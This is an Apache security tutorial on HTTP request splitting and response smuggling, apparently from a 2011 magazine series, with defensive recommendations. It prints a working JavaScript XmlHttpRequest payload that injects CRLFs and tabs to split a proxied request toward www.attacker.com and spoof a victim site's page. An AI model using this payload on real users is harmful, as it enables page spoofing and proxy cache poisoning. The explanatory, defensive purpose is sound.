SECURING APACHE : HTTP MESSAGE ARCHITECTURE - II

HTTP request splitting attacks

These attacks force the victim's browser to send multiple HTTP requests instead of a single request. Two mechanisms have been exploited to date, for this attack: the XmlHttpRequest object (XHR for short) and the HTTP digest authentication mechanism. For this attack to work, the victim must use a forward HTTP proxy. In order to split the HTTP request, CRLFs are injected into the request.

XmlHttpRequest is a JavaScript object that allows client-side JavaScript code to send almost raw HTTP requests to the origin host, and to access the response body in raw form. As such, XmlHttpRequest is a core component of AJAX.

Attack scenario

Let's look at a Web application that has an XSS vulnerability, and that there is a Web proxy between the victim and the Web server. Exploiting the XmlHttpRequest object, the attacker fools the victim into clicking the following malicious script:

```
<script>
    var x  =  new ActiveXObject("Microsoft.XMLHTTP");
    //var x = new XMLHttpRequest();
    x.open("GET\thttp://www.attacker.com/page1.html\tHTTP/1.0\r\n
Host:\twww.attacker.com\r\n
    Proxy-Connection:\tKeep-
Alive\r\n\r\nGET","http://www.attacker.com/page2.html",false);
x.send();
```

```
    //x.send("");
    window.open("http://www.example.com/index.html");
</script>
```

Note: The above code will work for Internet Explorer; the modifications required for Mozilla are commented so you can just uncomment them as required.

When the victim's browser executes the above script, it sends a single HTTP request, whose target is `www.attacker.com`. Thus, it does not break the same-origin policy (SOP), and hence is allowed. However, the forward proxy server will receive the following request:

```
GET\thttp://www.attacker.com/page1.html\tHTTP/1.0
Host:\twww.attacker.com
Proxy-Connection:\tKeep-Alive
GET http://www.attacker.com/page2.html HTTP/1.0
Host: www.attacker.com
......
......
Content-Type: text/html
Connection: Keep-Alive
```

Hence, it will respond with two HTTP responses. The first response (`http://www.attacker.com/page1.html`) will be consumed by the XHR object itself, and the second (`http://www.attacker.com/page2.html`) will wait in the browser's response queue until the browser
requests `http://www.example.com/index.html` (because `window.open()` will now execute). Now, the browser will match the response
from `http://www.attacker.com/page2.html`to the request for the
URL `http://www.target.com/index.html`, and will display the attacker's page in the window, with that URL!!

Important Note: In the above attack, we have used horizontal tabs (`\t`) instead of simple spaces, because IE doesn't allow spaces in the method parameter of `x.open()`. The reason we have used HTTP/1.0 is that HTTP/1.1 strictly requires using only space, while HTTP/1.0 doesn't have such restrictions.

The malicious script executed by the victim's browser sends only one request, but the proxy receives two HTTP requests (potentially to different origin domains), hence the proxy responds with two different HTTP responses.

Time for security

Though HTTP request splitting is a very rare attack, still, the following recommendations should be taken seriously:

- ♣ It is good if site owners use SSL for protection.
- ♣ Eliminating XSS entirely will definitely help a lot.
- ♣ There are also suggestions for blocking HTTP/1.0 requests to the Web server. Though this will work, it will also block the entry of the Web crawlers and spiders of major search engines, because those mostly use HTTP/1.0.
- ♣ Follow the security tips given for the previous attacks (especially parsing all the user input for CRLFs).

HTTP response smuggling attacks

This is an attack that occurs very rarely. In this case, an attacker smuggles two HTTP responses from a server to a client, through an intermediary HTTP device that allows a single response from the server. To do this, it takes advantage of inconsistent or incorrect interpretations of the HTTP protocol by various applications.

For example, it might use different block-terminating characters (CR or LF alone), adding duplicate header fields that browsers interpret as belonging to separate responses, or other techniques. The consequences of this attack can include response-splitting, cross-site scripting, apparent defacement of targeted sites, cache poisoning, or similar actions.

This attack is most useful in evading anti-HTTP-response-splitting (anti-HRS) mechanisms. For this to happen, the targeted server must allow the attacker to insert content that will appear in the server's response.

HTTP response smuggling makes use of HTTP request smuggling-like techniques to exploit the discrepancies between what an anti-HRS mechanism (or a proxy server) would consider to be the HTTP response stream, and the response stream as parsed by a proxy server (or a browser). So, while an anti-HRS mechanism may consider a particular response stream harmless (a single HTTP response), a proxy/browser may still parse it as two HTTP responses, and hence be susceptible to all the outcomes of the original HTTP-response-splitting technique (in the first use case), or be susceptible to page spoofing (in the second case).

For example, some anti-HRS mechanisms in use by certain application engines forbid the application from inserting a header containing CR+LF to the response. Yet, an attacker can force the application to insert a header containing LFs only, or CRs only, thereby circumventing the defense mechanism. Some proxy servers may still treat CR (only) as a header (and response) separator, and as such, the combination of the Web server and proxy server will still be vulnerable to an attack that may poison the proxy's cache.

Now, since this attack has a lot more dependencies (which is why it is rare) I request you to visit the resources below to get a good hold on this. As for security measures, strictly adhere to interpretations of HTTP messages wherever possible. (Remember: no CRs and no LFs.) Moreover, encoding header information provided by user input (so that user-supplied content is not interpreted by intermediaries) is also a good way to handle the attack. Finally, reject any non RFC-compliant responses.

All the examples and attack scenarios explained above are just for educational purposes. I once again stress that neither I nor LFY aim to teach readers how to attack servers. Rather, the attack techniques are meant to give you the knowledge that you need to protect your own infrastructure.

Source : http://www.opensourceforu.com/2011/01/securing-apache-part-5-http-message-architecture/